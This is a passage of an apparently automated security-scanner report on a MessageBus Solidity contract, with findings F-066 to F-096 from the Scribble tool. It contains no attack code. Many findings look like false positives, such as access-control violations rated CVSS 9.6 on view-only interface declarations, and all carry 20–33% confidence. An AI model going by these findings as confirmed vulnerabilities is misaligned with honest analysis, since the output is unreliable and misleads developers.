Typically minor impact on functionality, gas efficiency, or code quality. Recommended to fix as a best practice.

### Recommendation

Add require() checks at function entry or Scribble #if\_succeeds annotations

### References

- SWC-123
- OWASP Smart Contract Top 10

## F-066. postcondition\_failure

| PROPERTY    | VALUE                                                  |
|-------------|--------------------------------------------------------|
| Severity    | MEDIUM                                                 |
| Category    |                                                        |
| CVSS Score  | 3.1                                                    |
| Confidence  | 33%                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:23 |
| Status      | Open (33% conf.)                                       |
| Detected By | scribble                                               |

### Description

Function postcondition may not hold - return value or state change not guaranteed

### Vulnerable Code

```

18 |         bytes[] calldata _sigs,
19 |         address[] calldata _signers,
20 |         uint256[] calldata _powers
21 |     ) external;
22 |
>> 23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add postcondition checks or Scribble #if\_succeeds with old() references

### References

- OWASP Smart Contract Top 10

## F-067. postcondition\_failure

| PROPERTY    | VALUE                                                  |
|-------------|--------------------------------------------------------|
| Severity    | MEDIUM                                                 |
| Category    |                                                        |
| CVSS Score  | 3.1                                                    |
| Confidence  | 33%                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:25 |
| Status      | Open (33% conf.)                                       |
| Detected By | scribble                                               |

### Description

Function postcondition may not hold - return value or state change not guaranteed

### Vulnerable Code

```
20 |         uint256[] calldata _powers
21 |     ) external;
22 |
23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
>> 25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.
29 |      * @param _msg signed message
30 |      * @param _sigs list of signatures sorted by signer addresses in ascending
order
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add postcondition checks or Scribble #if\_succeeds with old() references

### References

- OWASP Smart Contract Top 10

## F-068. postcondition\_failure

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:128 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

Function postcondition may not hold - return value or state change not guaranteed

### Vulnerable Code

```
123 |         uint64 _mintChainId,  
124 |         address _mintAccount,  
125 |         uint64 _nonce  
126 |     ) external;  
127 |  
>> 128 |     function records(bytes32 recordId) external view returns (bool);  
129 | }  
130 |  
131 | // MessageBus/src/interfaces/IOriginalTokenVaultV2.sol  
132 |  
133 | interface IOriginalTokenVaultV2 {
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add postcondition checks or Scribble `#if_succeeds` with `old()` references

### References

- OWASP Smart Contract Top 10

## F-069. postcondition\_failure

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:150 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

Function postcondition may not hold - return value or state change not guaranteed

### Vulnerable Code

```
145 |         uint64 _mintChainId,  
146 |         address _mintAccount,  
147 |         uint64 _nonce  
148 |     ) external returns (bytes32);  
149 |  
>> 150 |     function records(bytes32 recordId) external view returns (bool);  
151 | }  
152 |  
153 | // MessageBus/src/interfaces/IPeggedTokenBridge.sol  
154 |  
155 | interface IPeggedTokenBridge {
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add postcondition checks or Scribble #if\_succeeds with old() references

### References

- OWASP Smart Contract Top 10

## F-070. postcondition\_failure

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:170 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

Function postcondition may not hold - return value or state change not guaranteed

### Vulnerable Code

```
165 |         uint256 _amount,  
166 |         address _withdrawAccount,  
167 |         uint64 _nonce  
168 |     ) external;  
169 |  
>> 170 |     function records(bytes32 recordId) external view returns (bool);  
171 | }  
172 |  
173 | // MessageBus/src/interfaces/IPeggedTokenBridgeV2.sol  
174 |  
175 | interface IPeggedTokenBridgeV2 {
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add postcondition checks or Scribble `#if_succeeds` with `old()` references

### References

- OWASP Smart Contract Top 10

## F-071. postcondition\_failure

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:193 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

Function postcondition may not hold - return value or state change not guaranteed

### Vulnerable Code

```
188 |         uint64 _toChainId,  
189 |         address _toAccount,  
190 |         uint64 _nonce  
191 |     ) external returns (bytes32);  
192 |  
>> 193 |     function records(bytes32 recordId) external view returns (bool);  
194 | }  
195 |  
196 | // MessageBus/src/interfaces/ISigsVerifier.sol  
197 |  
198 | interface ISigsVerifier {
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add postcondition checks or Scribble #if\_succeeds with old() references

### References

- OWASP Smart Contract Top 10



## F-072. postcondition\_failure

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:256 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

Function postcondition may not hold - return value or state change not guaranteed

### Vulnerable Code

```

251 |     }
252 |
253 |     /**
254 |      * @dev Returns the address of the current owner.
255 |      */
>> 256 |     function owner() public view virtual returns (address) {
257 |         return _owner;
258 |     }
259 |
260 |     /**
261 |      * @dev Throws if called by any account other than the owner.
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add postcondition checks or Scribble #if\_succeeds with old() references

### References

- OWASP Smart Contract Top 10

## F-073. postcondition\_failure

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:385 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

Function postcondition may not hold - return value or state change not guaranteed

### Vulnerable Code

```

380 |    /**
381 |     * @notice Calculates the required fee for the message.
382 |     * @param _message Arbitrary message bytes to be decoded by the
destination app contract.
383 |     * @return The required fee.
384 |     */
>> 385 |     function calcFee(bytes calldata _message) public view returns (uint256) {
386 |         return feeBase + _message.length * feePerByte;
387 |     }
388 |
389 |     // ----- Admin -----
390 |
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Add postcondition checks or Scribble #if\_succeeds with old() references

### References

- OWASP Smart Contract Top 10

## F-074. access\_control\_violation

| PROPERTY    | VALUE                                                  |
|-------------|--------------------------------------------------------|
| Severity    | MEDIUM                                                 |
| Category    |                                                        |
| CVSS Score  | 9.6                                                    |
| Confidence  | 33%                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:23 |
| Status      | Open (33% conf.)                                       |
| Detected By | scribble                                               |

### Description

Access control property may be violated - privileged function callable by unauthorized users

### Vulnerable Code

```

18 |         bytes[] calldata _sigs,
19 |         address[] calldata _signers,
20 |         uint256[] calldata _powers
21 |     ) external;
22 |
>> 23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.

```

### Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

### Recommendation

Add access control modifiers and Scribble annotations for authorization

### References

- SWC-105
- OWASP Smart Contract Top 10

## F-075. access\_control\_violation

| PROPERTY    | VALUE                                                  |
|-------------|--------------------------------------------------------|
| Severity    | MEDIUM                                                 |
| Category    |                                                        |
| CVSS Score  | 9.6                                                    |
| Confidence  | 33%                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:25 |
| Status      | Open (33% conf.)                                       |
| Detected By | scribble                                               |

### Description

Access control property may be violated - privileged function callable by unauthorized users

### Vulnerable Code

```

20 |         uint256[] calldata _powers
21 |     ) external;
22 |
23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
>> 25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.
29 |      * @param _msg signed message
30 |      * @param _sigs list of signatures sorted by signer addresses in ascending
order

```

### Impact Analysis

Missing or incorrect access control allows unauthorized users to execute privileged functions such as minting tokens, modifying state, transferring ownership, or withdrawing funds.

### Recommendation

Add access control modifiers and Scribble annotations for authorization

### References

- SWC-105
- OWASP Smart Contract Top 10

## F-076. state\_invariant\_break

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:376 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

State invariant may break during execution - intermediate state accessible via reentrancy

### Vulnerable Code

```
371 |         bytes32 domain = keccak256(abi.encodePacked(block.chainid,
address(this), "withdrawFee"));
372 |         sigsVerifier.verifySigs(abi.encodePacked(domain, _account,
_cumulativeFee), _sigs, _signers, _powers);
373 |         uint256 amount = _cumulativeFee - withdrawnFees[_account];
374 |         require(amount > 0, "No new amount to withdraw");
375 |         withdrawnFees[_account] = _cumulativeFee;
>> 376 |         (bool sent, ) = _account.call{value: amount, gas: 50000}("");
377 |         require(sent, "failed to withdraw fee");
378 |     }
379 |
380 |     /**
381 |      * @notice Calculates the required fee for the message.
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Follow Checks-Effects-Interactions pattern and use reentrancy guards

### References

- OWASP Smart Contract Top 10

## F-077. state\_invariant\_break

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:604 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

State invariant may break during execution - intermediate state accessible via reentrancy

### Vulnerable Code

```
599 |  
600 |     function executeMessageWithTransfer(TransferInfo calldata _transfer, bytes  
calldata _message)  
601 |     private  
602 |     returns (bool)  
603 |     {  
>> 604 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:  
msg.value}(  
605 |             abi.encodeWithSelector(  
606 |                 IMessageReceiverApp.executeMessageWithTransfer.selector,  
607 |                 _transfer.sender,  
608 |                 _transfer.token,  
609 |                 _transfer.amount,
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Follow Checks-Effects-Interactions pattern and use reentrancy guards

### References

- OWASP Smart Contract Top 10

## F-078. state\_invariant\_break

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:625 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

State invariant may break during execution - intermediate state accessible via reentrancy

### Vulnerable Code

```

620 |
621 |     function executeMessageWithTransferFallback(TransferInfo calldata
_transfer, bytes calldata _message)
622 |         private
623 |         returns (bool)
624 |     {
>> 625 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:
msg.value}({
626 |             abi.encodeWithSelector(
627 |
IMessageReceiverApp.executeMessageWithTransferFallback.selector,
628 |                 _transfer.sender,
629 |                 _transfer.token,
630 |                 _transfer.amount,
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Follow Checks-Effects-Interactions pattern and use reentrancy guards

### References

- OWASP Smart Contract Top 10

## F-079. state\_invariant\_break

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:646 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

State invariant may break during execution - intermediate state accessible via reentrancy

### Vulnerable Code

```
641 |  
642 |     function executeMessageWithTransferRefund(TransferInfo calldata _transfer,  
bytes calldata _message)  
643 |         private  
644 |         returns (bool)  
645 |     {  
>> 646 |         (bool ok, bytes memory res) = address(_transfer.receiver).call{value:  
msg.value}(  
647 |             abi.encodeWithSelector(  
648 |                 IMessageReceiverApp.executeMessageWithTransferRefund.selector,  
649 |                 _transfer.token,  
650 |                 _transfer.amount,  
651 |                 _message
```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Follow Checks-Effects-Interactions pattern and use reentrancy guards

### References

- OWASP Smart Contract Top 10



## F-080. state\_invariant\_break

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | MEDIUM                                                  |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 33%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:745 |
| Status      | Open (33% conf.)                                        |
| Detected By | scribble                                                |

### Description

State invariant may break during execution - intermediate state accessible via reentrancy

### Vulnerable Code

```

740 |         abi.encodePacked(MsgType.MessageOnly, _route.sender,
741 |             _route.receiver, _route.srcChainId, _message)
742 |     );
743 | }
744 |     function executeMessage(RouteInfo calldata _route, bytes calldata
745 | _message) private returns (bool) {
746 |         (bool ok, bytes memory res) = address(_route.receiver).call{value:
747 | msg.value}(
748 |             abi.encodeWithSelector(
749 |                 IMessageReceiverApp.executeMessage.selector,
750 |                 _route.sender,
751 |                 _route.srcChainId,
752 |                 _message

```

### Impact Analysis

If confirmed, impact is typically limited or requires specific pre-conditions. Review before mainnet deployment.

### Recommendation

Follow Checks-Effects-Interactions pattern and use reentrancy guards

### References

- OWASP Smart Contract Top 10

## F-081. missing\_annotation\_coverage

| PROPERTY    | VALUE                                                  |
|-------------|--------------------------------------------------------|
| Severity    | INFO                                                   |
| Category    |                                                        |
| CVSS Score  | 3.1                                                    |
| Confidence  | 20%                                                    |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:23 |
| Status      | Open (20% conf.)                                       |
| Detected By | scribble                                               |

### Description

Public/external function lacks Scribble annotations for formal verification coverage

### Vulnerable Code

```

18 |         bytes[] calldata _sigs,
19 |         address[] calldata _signers,
20 |         uint256[] calldata _powers
21 |     ) external;
22 |
>> 23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.
```

### Impact Analysis

Impact depends on exploitability; verify this finding against the source.

### Recommendation

Add #if\_succeeds annotation to specify expected behavior

### References

- OWASP Smart Contract Top 10

## F-082. missing\_annotation\_coverage

| PROPERTY | VALUE |
|----------|-------|
| Severity | INFO  |

| PROPERTY    | VALUE                                                               |
|-------------|---------------------------------------------------------------------|
| Category    |                                                                     |
| CVSS Score  | 3.1                                                                 |
| Confidence  | 20%                                                                 |
| Location    | <code>/home/hero/audit_workspace/flattened_MessageBus.sol:25</code> |
| Status      | Open (20% conf.)                                                    |
| Detected By | scribble                                                            |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

20 |         uint256[] calldata _powers
21 |     ) external;
22 |
23 |     function transfers(bytes32 transferId) external view returns (bool);
24 |
>> 25 |     function withdraws(bytes32 withdrawId) external view returns (bool);
26 |
27 |     /**
28 |      * @notice Verifies that a message is signed by a quorum among the
signers.
29 |      * @param _msg signed message
30 |      * @param _sigs list of signatures sorted by signer addresses in ascending
order

```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add `#if_succeeds` annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

## F-083. missing\_annotation\_coverage

| PROPERTY | VALUE |
|----------|-------|
| Severity | INFO  |
| Category |       |

| PROPERTY    | VALUE                                                                |
|-------------|----------------------------------------------------------------------|
| CVSS Score  | 3.1                                                                  |
| Confidence  | 20%                                                                  |
| Location    | <code>/home/hero/audit_workspace/flattened_MessageBus.sol:128</code> |
| Status      | Open (20% conf.)                                                     |
| Detected By | scribble                                                             |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

123 |         uint64 _mintChainId,
124 |         address _mintAccount,
125 |         uint64 _nonce
126 |     ) external;
127 |
>> 128 |     function records(bytes32 recordId) external view returns (bool);
129 | }
130 |
131 | // MessageBus/src/interfaces/IOriginalTokenVaultV2.sol
132 |
133 | interface IOriginalTokenVaultV2 {

```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add `#if_succeeds` annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

## F-084. missing\_annotation\_coverage

| PROPERTY   | VALUE |
|------------|-------|
| Severity   | INFO  |
| Category   |       |
| CVSS Score | 3.1   |
| Confidence | 20%   |

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:150 |
| Status      | Open (20% conf.)                                        |
| Detected By | scribble                                                |

### Description

Public/external function lacks Scribble annotations for formal verification coverage

### Vulnerable Code

```

145 |         uint64 _mintChainId,
146 |         address _mintAccount,
147 |         uint64 _nonce
148 |     ) external returns (bytes32);
149 |
>> 150 |     function records(bytes32 recordId) external view returns (bool);
151 | }
152 |
153 | // MessageBus/src/interfaces/IPeggedTokenBridge.sol
154 |
155 | interface IPeggedTokenBridge {

```

### Impact Analysis

Impact depends on exploitability; verify this finding against the source.

### Recommendation

Add #if\_succeeds annotation to specify expected behavior

### References

- OWASP Smart Contract Top 10

## F-085. missing\_annotation\_coverage

| PROPERTY   | VALUE                                                   |
|------------|---------------------------------------------------------|
| Severity   | INFO                                                    |
| Category   |                                                         |
| CVSS Score | 3.1                                                     |
| Confidence | 20%                                                     |
| Location   | /home/hero/audit_workspace/flattened_MessageBus.sol:170 |
| Status     | Open (20% conf.)                                        |

| PROPERTY           | VALUE    |
|--------------------|----------|
| <b>Detected By</b> | scribble |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

165 |         uint256 _amount,
166 |         address _withdrawAccount,
167 |         uint64 _nonce
168 |     ) external;
169 |
>> 170 |     function records(bytes32 recordId) external view returns (bool);
171 | }
172 |
173 | // MessageBus/src/interfaces/IPeggedTokenBridgeV2.sol
174 |
175 | interface IPeggedTokenBridgeV2 {

```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add #if\_succeeds annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

## F-086. missing\_annotation\_coverage

| PROPERTY           | VALUE                                                   |
|--------------------|---------------------------------------------------------|
| <b>Severity</b>    | INFO                                                    |
| <b>Category</b>    |                                                         |
| <b>CVSS Score</b>  | 3.1                                                     |
| <b>Confidence</b>  | 20%                                                     |
| <b>Location</b>    | /home/hero/audit_workspace/flattened_MessageBus.sol:193 |
| <b>Status</b>      | Open (20% conf.)                                        |
| <b>Detected By</b> | scribble                                                |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

188 |         uint64 _toChainId,
189 |         address _toAccount,
190 |         uint64 _nonce
191 |     ) external returns (bytes32);
192 |
>> 193 |     function records(bytes32 recordId) external view returns (bool);
194 | }
195 |
196 | // MessageBus/src/interfaces/ISigsVerifier.sol
197 |
198 | interface ISigsVerifier {

```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add #if\_succeeds annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

## F-087. missing\_annotation\_coverage

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | INFO                                                    |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 20%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:256 |
| Status      | Open (20% conf.)                                        |
| Detected By | scribble                                                |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

251 |     }
252 |
253 |     /**
254 |      * @dev Returns the address of the current owner.
255 |      */
>> 256 |     function owner() public view virtual returns (address) {
257 |         return _owner;
258 |     }
259 |
260 |     /**
261 |      * @dev Throws if called by any account other than the owner.

```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add `#if_succeeds` annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

## F-088. missing\_annotation\_coverage

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | INFO                                                    |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 20%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:272 |
| Status      | Open (20% conf.)                                        |
| Detected By | scribble                                                |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

267 |
268 |     /**
269 |      * @dev Transfers ownership of the contract to a new account (`newOwner`).
270 |      * Can only be called by the current owner.
271 |      */
>> 272 |     function transferOwnership(address newOwner) public virtual onlyOwner {

```



```

273 |         require(newOwner != address(0), "Ownable: new owner is the zero
address");
274 |         _setOwner(newOwner);
275 |     }
276 |
277 |     function _setOwner(address newOwner) private {

```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add `#if_succeeds` annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

## F-089. missing\_annotation\_coverage

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | INFO                                                    |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 20%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:385 |
| Status      | Open (20% conf.)                                        |
| Detected By | scribble                                                |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

380 |     /**
381 |      * @notice Calculates the required fee for the message.
382 |      * @param _message Arbitrary message bytes to be decoded by the
destination app contract.
383 |      * @return The required fee.
384 |      */
>> 385 |     function calcFee(bytes calldata _message) public view returns (uint256) {
386 |         return feeBase + _message.length * feePerByte;
387 |     }
388 |
389 |     // ----- Admin -----
390 |

```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add `#if_succeeds` annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

## F-090. missing\_annotation\_coverage

| PROPERTY    | VALUE                                                                |
|-------------|----------------------------------------------------------------------|
| Severity    | INFO                                                                 |
| Category    |                                                                      |
| CVSS Score  | 3.1                                                                  |
| Confidence  | 20%                                                                  |
| Location    | <code>/home/hero/audit_workspace/flattened_MessageBus.sol:391</code> |
| Status      | Open (20% conf.)                                                     |
| Detected By | scribble                                                             |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

386 |         return feeBase + _message.length * feePerByte;
387 |     }
388 |
389 |     // ----- Admin -----
390 |
>> 391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
396 |     function setFeeBase(uint256 _fee) external onlyOwner {

```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add `#if_succeeds` annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

## F-091. missing\_annotation\_coverage

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | INFO                                                    |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 20%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:396 |
| Status      | Open (20% conf.)                                        |
| Detected By | scribble                                                |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

391 |     function setFeePerByte(uint256 _fee) external onlyOwner {
392 |         feePerByte = _fee;
393 |         emit FeePerByteUpdated(feePerByte);
394 |     }
395 |
>> 396 |     function setFeeBase(uint256 _fee) external onlyOwner {
397 |         feeBase = _fee;
398 |         emit FeeBaseUpdated(feeBase);
399 |     }
400 | }
401 |

```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add #if\_succeeds annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

## F-092. missing\_annotation\_coverage

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | INFO                                                    |
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 20%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:762 |
| Status      | Open (20% conf.)                                        |
| Detected By | scribble                                                |

### Description

Public/external function lacks Scribble annotations for formal verification coverage

### Vulnerable Code

```

757 |         return false;
758 |     }
759 |
760 |     // ===== contract addr config =====
761 |
>> 762 |     function setLiquidityBridge(address _addr) public onlyOwner {
763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |

```

### Impact Analysis

Impact depends on exploitability; verify this finding against the source.

### Recommendation

Add #if\_succeeds annotation to specify expected behavior

### References

- OWASP Smart Contract Top 10

## F-093. missing\_annotation\_coverage

| PROPERTY | VALUE |
|----------|-------|
| Severity | INFO  |

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Category    |                                                         |
| CVSS Score  | 3.1                                                     |
| Confidence  | 20%                                                     |
| Location    | /home/hero/audit_workspace/flattened_MessageBus.sol:768 |
| Status      | Open (20% conf.)                                        |
| Detected By | scribble                                                |

### Description

Public/external function lacks Scribble annotations for formal verification coverage

### Vulnerable Code

```

763 |         require(_addr != address(0), "invalid address");
764 |         liquidityBridge = _addr;
765 |         emit LiquidityBridgeUpdated(liquidityBridge);
766 |     }
767 |
>> 768 |     function setPegBridge(address _addr) public onlyOwner {
769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |

```

### Impact Analysis

Impact depends on exploitability; verify this finding against the source.

### Recommendation

Add #if\_succeeds annotation to specify expected behavior

### References

- OWASP Smart Contract Top 10

## F-094. missing\_annotation\_coverage

| PROPERTY   | VALUE |
|------------|-------|
| Severity   | INFO  |
| Category   |       |
| CVSS Score | 3.1   |

| PROPERTY    | VALUE                                                                |
|-------------|----------------------------------------------------------------------|
| Confidence  | 20%                                                                  |
| Location    | <code>/home/hero/audit_workspace/flattened_MessageBus.sol:774</code> |
| Status      | Open (20% conf.)                                                     |
| Detected By | scribble                                                             |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

769 |         require(_addr != address(0), "invalid address");
770 |         pegBridge = _addr;
771 |         emit PegBridgeUpdated(pegBridge);
772 |     }
773 |
>> 774 |     function setPegVault(address _addr) public onlyOwner {
775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |

```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add `#if_succeeds` annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

## F-095. missing\_annotation\_coverage

| PROPERTY   | VALUE                                                                |
|------------|----------------------------------------------------------------------|
| Severity   | INFO                                                                 |
| Category   |                                                                      |
| CVSS Score | 3.1                                                                  |
| Confidence | 20%                                                                  |
| Location   | <code>/home/hero/audit_workspace/flattened_MessageBus.sol:780</code> |

| PROPERTY    | VALUE            |
|-------------|------------------|
| Status      | Open (20% conf.) |
| Detected By | scribble         |

## Description

Public/external function lacks Scribble annotations for formal verification coverage

## Vulnerable Code

```

775 |         require(_addr != address(0), "invalid address");
776 |         pegVault = _addr;
777 |         emit PegVaultUpdated(pegVault);
778 |     }
779 |
>> 780 |     function setPegBridgeV2(address _addr) public onlyOwner {
781 |         require(_addr != address(0), "invalid address");
782 |         pegBridgeV2 = _addr;
783 |         emit PegBridgeV2Updated(pegBridgeV2);
784 |     }
785 |

```

## Impact Analysis

Impact depends on exploitability; verify this finding against the source.

## Recommendation

Add `#if_succeeds` annotation to specify expected behavior

## References

- OWASP Smart Contract Top 10

## F-096. missing\_annotation\_coverage

| PROPERTY    | VALUE                                                   |
|-------------|---------------------------------------------------------|
| Severity    | INFO                                                    |
| Category    |                                                         |
